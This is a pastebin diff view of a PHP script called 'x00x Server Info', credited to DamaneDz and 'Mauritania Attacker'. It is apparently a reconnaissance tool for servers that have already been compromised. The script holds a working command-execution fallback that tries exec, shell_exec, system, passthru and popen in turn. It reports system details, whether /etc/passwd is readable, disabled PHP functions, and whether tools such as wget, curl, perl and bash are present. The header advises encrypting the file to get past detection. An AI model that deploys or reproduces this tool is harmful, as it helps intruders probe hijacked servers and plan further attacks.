View difference between Paste ID: RHiXmzTY and HrZHdQAG
SHOW: | | - or go back to the newest paste.
1
<?
2
/*
3
This File Was Writed By DamaneDz.
4
5
Some Update Ideas By Mauritania Attacker.
6
7
Twitter:@DamaneDz
8
Email:[email protected] Or Skype:Damane2011
9
10
P.S: If The Tool Will Not Work Good Try To Crypt IT ^_^
11
12
GooD Luck.
13
14
The Last Update:16/03/2013
15
16
******************************************************
17
Change Log:
18
----------
19
16/03/2013:
20
1-Add The Current Dir Option 
21
2-Coloring Some Results
22
----------
23
******************************************************
24
25
*/
26
27
@error_reporting(0);
28
29
function excute($cfe) {
30
  $res = '';
31
  if (!empty($cfe)) {
32
    if(@function_exists('exec')) {
33
      @exec($cfe,$res);
34
      $res = join("\n",$res);
35
    } elseif(@function_exists('shell_exec')) {
36
      $res = @shell_exec($cfe);
37
    } elseif(@function_exists('system')) {
38
      @ob_start();
39
      @system($cfe);
40
      $res = @ob_get_contents();
41
      @ob_end_clean();
42
    } elseif(@function_exists('passthru')) {
43
      @ob_start();
44
      @passthru($cfe);
45
      $res = @ob_get_contents();
46
      @ob_end_clean();
47
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
48
      $res = "";
49
      while(!@feof($f)) { $res .= @fread($f,1024); }
50
      @pclose($f);
51
    } else { $res = "Ex() Disabled!"; }
52
  }
53
  return $res;
54
}
55
56
	// Show Stat
57
  function showstat($stat) {
58
    if ($stat=="on") { return "<font color=green><b>ON</b></font>"; }
59
    else { return "<font color=red><b>OFF</b></font>"; }
60
  }
61
  function named_conf(){
62
  if(@is_readable('/etc/named.conf')){ return "<font color=green><b>Readable</b></font>";
63
  }else { return "<font color=red><b>Not Readable</b></font>"; }
64
  }
65
  function passwd(){
66
  if(@is_readable('/etc/passwd')){ return "<font color=green><b>Readable</b></font>";
67
  }else { return "<font color=red><b>Not Readable</b></font>"; }
68
  }
69
  function testoracle() {
70
  if (@function_exists('ocilogon')) { return showstat("on"); }
71
  else { return showstat("off"); }
72
  }
73
  function testpostgresql() {
74
    if (@function_exists('pg_connect')) { return showstat("on"); }
75
    else { return showstat("off"); }
76
  }
77
  function testmssql() {
78
    if (@function_exists('mssql_connect')) { return showstat("on"); }
79
    else { return showstat("off"); }
80
  }
81
  function testmysql() {
82
    if (@function_exists('mysql_connect')) { return showstat("on"); }
83
    else { return showstat("off"); }
84
  }
85
86
  function showdisablefunctions() {
87
    if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
88
    else { return "<font color=green><b>NONE</b></b></font>"; }
89
  }
90
    function openbase_dir() {
91
    if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=red><b>".$openbase_dir."</b></font>"; }
92
    else { return "<font color=green><b>NONE</b></b></font>"; }
93
  }
94
    function testfetch() {
95
    if(excute('fetch --help')) { return showstat("on"); }
96
    else { return showstat("off"); }
97
  }
98
    function testwget() {
99
    if (excute('wget --help')) { return showstat("on"); }
100
    else { return showstat("off"); }
101
  }
102
    function testperl() {
103
    if (excute('perl --help')) { return showstat("on"); }
104
    else { return showstat("off"); }
105
  }
106
    function testpy() {
107
    if (excute('python --help')) { return showstat("on"); }
108
    else { return showstat("off"); }
109
  }
110
      function testsh() {
111
    if (excute('bash --help')) { return showstat("on"); }
112
    else { return showstat("off"); }
113
  }
114
    function testcurl() {
115
    if (@function_exists('curl_version')) { return showstat("on"); }
116
    else { return showstat("off"); }
117
  }
118
  if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
119
    $safemode = TRUE;
120
    $hsafemode = "<font color=red><b>ON (Secure)</b></font>";
121
  }else{
122
    $safemode = FALSE;
123
    $hsafemode = "<font color=green><b>OFF (Not Secure)</b></font>";
124
  }
125
  
126
  $pwd=str_replace('\\', '/', dirname(__FILE__)).'/';
127
  
128
echo "
129
<html><head><title>x00x Server Info ~ ".$_SERVER['HTTP_HOST']." ~</title></head><body>
130
<style type=text/css>
131
body{background-color:#111;font-family:verdana;}
132
.info{background-color:#fff; width=100%;}
133
input,textarea{border:1px solid #000;} 
134
</style>
135
<div class=info>
136
<table bgcolor=#ff0000 width=100%px height=20px><tr>
137
<td><font color=#fff size=1px><center>x00x Server Info[Coded By: DamaneDz] & [Update Ideas By:Mauritania Attacker]</center></font></td>
138
</tr></table>
139
<font color=#000 size=2px>
140
<center><span><font color='#111'>
141
<br> UName -a: <font color=blue>".@php_uname()." </font>|</br>
142
<br> Hostname: <font color=blue>".$_SERVER['HTTP_HOST']."</font>|</br>
143
<br> Software : <font color=blue>".@getenv("SERVER_SOFTWARE")." </font>| </br>
144
<br> PHP Version: <font color=blue>".@phpversion()." </font>|</br>
145
<br> Current Dir: <font color=blue>{$pwd} |</font></br>
146
<br> ID:<font color=blue>" .@getmyuid()."(".@get_current_user().") </font>- UID:<font color=blue>".@getmyuid()."(".@get_current_user().") </font>- GID:<font color=blue>".@getmygid()."(".@get_current_user().") </font>|</br>
147
<br> Your IP:<font color=blue>".$_SERVER["REMOTE_ADDR"]." </font>| The Server IP:<font color=blue>".@gethostbyname($_SERVER["HTTP_HOST"])." </font>|</br>
148
<br> Safe Mode: $hsafemode | Open_BaseDir: ".openbase_dir()."|</br>
149
<br> Disabled Functions: ".@showdisablefunctions()."|</br>
150
<br> named.conf File is: ".named_conf()." | passwd File is: ".passwd()."</br>
151
<br>
152
MySQL: ".@testmysql()."|
153
MSSQL: ".@testmssql()."|
154
Oracle: ".@testoracle()."|
155
PostgreSQL: ".@testpostgresql()."|
156
cURL: ".@testcurl()."|
157
Fetch: ".@testfetch()."|
158
WGet: ".@testwget()."|
159
Perl: ".@testperl()."|
160
Python: ".@testpy()."|
161
Bash: ".@testsh()."|
162
</center>
163
</font>
164
<br/>
165
</div>
166
<p align='center'><font color='#FF00FF'>By DamaneDz & Mauritania Attacker<br/></font></p>
167
<br/>
168
";
169
?>